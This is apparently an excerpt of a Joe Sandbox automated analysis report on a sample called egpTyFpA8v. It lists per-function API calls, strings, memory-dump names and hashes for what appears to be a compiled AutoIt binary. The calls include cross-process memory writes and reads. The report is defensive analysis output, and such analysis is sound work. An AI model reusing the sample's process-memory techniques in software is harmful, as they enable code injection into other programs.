Part of subcall function 00450DB6: std::exception::exception.LIBCMT ref: 00450DEC
Part of subcall function 00450DB6: __CxxThrowException@8.LIBCMT ref: 00450E01

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Part of subcall function 00437A51: _memmove.LIBCMT ref: 00437AAB

__swprintf.LIBCMT ref: 00442ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00442D66

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 8461672b5eed7a3bf29f37648c2f61cafa27bb95b295860f769ebf8f3b2e77af
Instruction ID: 1dc34263f94012b709d36e1440e918c336282e0f4df5ebaf730ddad74a795613
Opcode Fuzzy Hash: 8461672b5eed7a3bf29f37648c2f61cafa27bb95b295860f769ebf8f3b2e77af
Instruction Fuzzy Hash: 3091CE711082019FD714EF25C885C6FB7A9EF89314F00491FF8859B2A2DB78ED48CB5A

Function 0049B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00434750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00434743,?,?,004337AE,?), ref: 00434770

CoInitialize.OLE32(00000000), ref: 0049B9BB
CoCreateInstance.OLE32(004C2D6C,00000000,00000001,004C2BDC,?), ref: 0049B9D4
CoUninitialize.OLE32 ref: 0049B9F1

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

Strings

.lnk, xrefs: 0049B99D, 0049B9AB

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 23d5b609f914a6caf1297c0946d408932be480a31a112d62c6cad5f2ba22fe1a
Instruction ID: 7e2349613fdc3028a3f4830c168b7f109766e429df1ab62b0a0a94ae0aa43ee6
Opcode Fuzzy Hash: 23d5b609f914a6caf1297c0946d408932be480a31a112d62c6cad5f2ba22fe1a
Instruction Fuzzy Hash: 86A143746042019FCB04EF15C984E2ABBE5FF89318F10899EF8999B3A1CB35EC45CB95

Function 0048B2F3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 0048B4BE

Strings

AutoIt3GUI, xrefs: 0048B436
%L, xrefs: 0048B561
Container, xrefs: 0048B43B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container$%L
API String ID: 3565006973-2366359021
Opcode ID: da0fb4ec5caf888581ce9e60296cab1105a7eade35b2850f19d445e9fd090c66
Instruction ID: 21e3b9cb6a7aa4663f84e7aabda6a67def51b8b80736cdd7ad771571f4894ec5
Opcode Fuzzy Hash: da0fb4ec5caf888581ce9e60296cab1105a7eade35b2850f19d445e9fd090c66
Instruction Fuzzy Hash: 32916B70600601AFDB54EF65C884B6ABBF4FF49715F20886EE94ACB391DB74E841CB94

Function 0045501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 004550AD

Part of subcall function 004600F0: __87except.LIBCMT ref: 0046012B

Strings

pow, xrefs: 00455085, 004550A2

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: e03635919b16bbc0a96a8f1d97758c0878ece793d988709a6f6ff666594c3021
Instruction ID: bc6e02dd198f6119336b54460edfc5ad8be06ab2f65cf9b1010ce63d8af4eac8
Opcode Fuzzy Hash: e03635919b16bbc0a96a8f1d97758c0878ece793d988709a6f6ff666594c3021
Instruction Fuzzy Hash: 17516C6090890287DB117B14C82137F2B909F41B11F2089ABE8D5863DBFE3D8DCC9A8F

Function 00478584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0047862B
_memmove.LIBCMT ref: 00478685

Strings

_D, xrefs: 004786FF, 0047DFDC, 0047DFF8
3cD, xrefs: 0047860C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memmove
String ID: 3cD$_D
API String ID: 4104443479-3978952248
Opcode ID: cc6d747e10f3322d21a720511b3abaf6fc4be1d717081c66d19a31aa3a86178c
Instruction ID: b8e16fb68dd231bc6f82ae239d12eefabbc7a8b1904848a0976dc6b2cc0f2f10
Opcode Fuzzy Hash: cc6d747e10f3322d21a720511b3abaf6fc4be1d717081c66d19a31aa3a86178c
Instruction Fuzzy Hash: 65516EB0D006199FDB64CF68C884AEEBBB1FF44304F24852EE85AD7350EB34A955CB55

Function 00499734 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00434F0B: __fread_nolock.LIBCMT ref: 00434F29

_wcscmp.LIBCMT ref: 00499824
_wcscmp.LIBCMT ref: 00499837

Strings

FILE, xrefs: 00499770
P@, xrefs: 0049973E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE$P@
API String ID: 4029003684-555163068
Opcode ID: afec2adaf6b8254b3ff030608d24184e61bf46639249f7b8f41425bcf5c73ef7
Instruction ID: 844ca108f498ff9d8333dbccdc10814d3a95c623cc0cb88d0c7570745d13a229
Opcode Fuzzy Hash: afec2adaf6b8254b3ff030608d24184e61bf46639249f7b8f41425bcf5c73ef7
Instruction Fuzzy Hash: 1D41AA71A00219BADF109AA5CC45FEF7BB9DF89714F00047FF904A7181D675AD058765

Function 004897F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004914BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00489296,?,?,00000034,00000800,?,00000034), ref: 004914E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0048983F

Part of subcall function 00491487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,004892C5,?,?,00000800,?,00001073,00000000,?,?), ref: 004914B1

Part of subcall function 004913DE: GetWindowThreadProcessId.USER32(?,?), ref: 00491409
Part of subcall function 004913DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0048925A,00000034,?,?,00001004,00000000,00000000), ref: 00491419
Part of subcall function 004913DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0048925A,00000034,?,?,00001004,00000000,00000000), ref: 0049142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 004898AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 004898F9

Strings

@, xrefs: 00489911

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 1ec0f66b2b6496eeeaf1e073ba5ef5d7e16df9d8c8636171fc3a83632e08730d
Instruction ID: bfb19a2de53be620c5cd3dced2ad20ce8388323f7fa4f7fd1f6c7990388129b3
Opcode Fuzzy Hash: 1ec0f66b2b6496eeeaf1e073ba5ef5d7e16df9d8c8636171fc3a83632e08730d
Instruction Fuzzy Hash: 79416076900119AFDF10EFA4CC41AEEBBB8EB09300F0441AAF955B7251DA746E45CBA4

Function 004B7946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,004BF910,00000000,?,?,?,?), ref: 004B79DF
GetWindowLongW.USER32 ref: 004B79FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004B7A0C

Strings

SysTreeView32, xrefs: 004B79B1

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 258dff27e05da3aae2445e321b0ff1cb366259ea346cfa967dfc1b61d876895e
Instruction ID: 3d35068527774dba960274227ccf6cdfe6ff0b78c7809509a32f712a419652de
Opcode Fuzzy Hash: 258dff27e05da3aae2445e321b0ff1cb366259ea346cfa967dfc1b61d876895e
Instruction Fuzzy Hash: D931E171204206AFEB118F38CC41BEB77A9EB49324F204726F875932E0D738ED518B68

Function 004B73D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 004B7461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 004B7475
SendMessageW.USER32(?,00001002,00000000,?), ref: 004B7499

Strings

SysMonthCal32, xrefs: 004B742C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 8799e555eef9929d65743e527e2311449b4084216e9a8f4f5e7c9558314bd9a6
Instruction ID: f0ed8292e7beeab627d57249a067b08cdbd0f38f981b6cbd5e003414cdbbd1e7
Opcode Fuzzy Hash: 8799e555eef9929d65743e527e2311449b4084216e9a8f4f5e7c9558314bd9a6
Instruction Fuzzy Hash: 38219F32540218BBDF118F64CC46FEB3B69EB88724F110215FE156B2D0DAB9AC55DBA4

Function 004B7B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 004B7C4A
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 004B7C58
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 004B7C5F

Strings

msctls_updown32, xrefs: 004B7BC4

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: f0d51814bb6669d3161f2fa1f2724a7b5dc3df5cb1e552df171087938abd07fc
Instruction ID: 30e226a068256c13a82dc9390e38b3836fc3b5835ff0e6d5d4214d0798b1e58e
Opcode Fuzzy Hash: f0d51814bb6669d3161f2fa1f2724a7b5dc3df5cb1e552df171087938abd07fc
Instruction Fuzzy Hash: 8F216DB1204108AFDB10DF14DCC1DA73BACEB49398B14005AFA059B3A1CB75EC118AB4

Function 004B6CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 004B6D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 004B6D4B
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 004B6D70

Strings

Listbox, xrefs: 004B6D08

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 07e4dc875ff0c2e1442eb7fe0b2d7b06fe48a9fd8faded7ffca5b7688b0f9e03
Instruction ID: 7a05d17c9a144e4301427d5d65faa1e207a8e64369c2aac39169d35d84af8b6c
Opcode Fuzzy Hash: 07e4dc875ff0c2e1442eb7fe0b2d7b06fe48a9fd8faded7ffca5b7688b0f9e03
Instruction Fuzzy Hash: 5521B332600118BFDF118F54CC45FFB3BBAEF89754F028129F9455B2A0C6799C5197A4

Function 004A39E9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 004A3A66

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Strings

AUTOITCALLVARIABLE%d, xrefs: 004A3A58
, $, xrefs: 004A3AA6
%L, xrefs: 004A39F4

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d$%L
API String ID: 3506404897-2952655123
Opcode ID: 0aeeaf6444dfc5cdf7bb621e09da94bd422f85f0cc79ba743cc4c62a1177bed3
Instruction ID: 81d4d209a21bb3768b80cdfff0c54c03e09ac0e2ca255a42007bc923672af35b
Opcode Fuzzy Hash: 0aeeaf6444dfc5cdf7bb621e09da94bd422f85f0cc79ba743cc4c62a1177bed3
Instruction Fuzzy Hash: 1621D771600218AFCF10EF55CC82EAEB7B4AF59305F50045FF449A7182EB38EA45CB69

Function 004B770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 004B7772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 004B7787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 004B7794

Strings

msctls_trackbar32, xrefs: 004B7749

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: d95081a6d7b482862e9a47de923438df400c95e2d48fea4248f28c7f382e6306
Instruction ID: 4d002ee341036f4516498d048434b8dfb708241e377bf6e21e54254f52cb28f0
Opcode Fuzzy Hash: d95081a6d7b482862e9a47de923438df400c95e2d48fea4248f28c7f382e6306
Instruction Fuzzy Hash: 0D112732200208BFEF205F61CC01FEB77A8EFC8B54F11052AFA4192190C675E811CB24

Function 00456B71 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00456B93
__calloc_crt.LIBCMT ref: 00456BAC

Strings

N, xrefs: 00456BD1
@BO, xrefs: 00456BC3

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __calloc_crt
String ID: N$@BO
API String ID: 3494438863-3527719973
Opcode ID: dcb799494872f50fa8a5612cf66b0a1ae91f4076f6f735b4d3a21d77c7fa4f28
Instruction ID: 30456713e9f58cedc83cb407f947787b8cf90f2b2998e9bc8037ac3aee294be5
Opcode Fuzzy Hash: dcb799494872f50fa8a5612cf66b0a1ae91f4076f6f735b4d3a21d77c7fa4f28
Instruction Fuzzy Hash: 6CF0CD71204A225BF7648F16BC51B733794E704335B92016FEA04DF187EB389845CACC

Function 00459B79 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00459B94

Part of subcall function 00459C0B: __mtinitlocknum.LIBCMT ref: 00459C1D
Part of subcall function 00459C0B: EnterCriticalSection.KERNEL32(00000000,?,00459A7C,0000000D), ref: 00459C36

__updatetlocinfoEx_nolock.LIBCMT ref: 00459BA4

Part of subcall function 00459100: ___addlocaleref.LIBCMT ref: 0045911C
Part of subcall function 00459100: ___removelocaleref.LIBCMT ref: 00459127
Part of subcall function 00459100: ___freetlocinfo.LIBCMT ref: 0045913B

Strings

8N, xrefs: 00459B8A, 00459B9F, 00459BAB
8N, xrefs: 00459B85

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CriticalEnterEx_nolockSection___addlocaleref___freetlocinfo___removelocaleref__lock__mtinitlocknum__updatetlocinfo
String ID: 8N$8N
API String ID: 547918592-2090888977
Opcode ID: b4b4c0219642781cebe0d1c177be5dfc987db7148f23142ad3a7d1283a012362
Instruction ID: 400b8ae72845e6b40a1cf3a95068927f3f4dbad9022b707306787b2a0e685e7c
Opcode Fuzzy Hash: b4b4c0219642781cebe0d1c177be5dfc987db7148f23142ad3a7d1283a012362
Instruction Fuzzy Hash: ABE08671543351EEEA10F7A7A94372D76506B00727F20015FF855690C3DEFC2908851F

Function 00434C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00434BD0,?,00434DEF,?,P@,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00434C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00434C23

Strings

kernel32.dll, xrefs: 00434C0C
Wow64DisableWow64FsRedirection, xrefs: 00434C1D

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 6a5e8ac1967581cefa35dad01d767a06f40bda90f1aa0659b2094a184e98d471
Instruction ID: 0ac4f03420925c1dac39e4d5aab1b6e5e6b11c277e9009490f686bcd3c1b6f45
Opcode Fuzzy Hash: 6a5e8ac1967581cefa35dad01d767a06f40bda90f1aa0659b2094a184e98d471
Instruction Fuzzy Hash: 9CD08C30510712CFCB205B75DC08247B6E5AF08342B119C3A9489C2650E6B8E8808618

Function 00434C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00434B83,?), ref: 00434C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00434C56

Strings

kernel32.dll, xrefs: 00434C3F
Wow64RevertWow64FsRedirection, xrefs: 00434C50

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: c72dbb7b357fc79cfabcdc662476c91260f4ce7f67aaa5c06ab88f088c6a0b64
Instruction ID: ff736fbbfc9e0f9ce16649831654e7fde91ea51e4d16e048d657f5d335459bc0
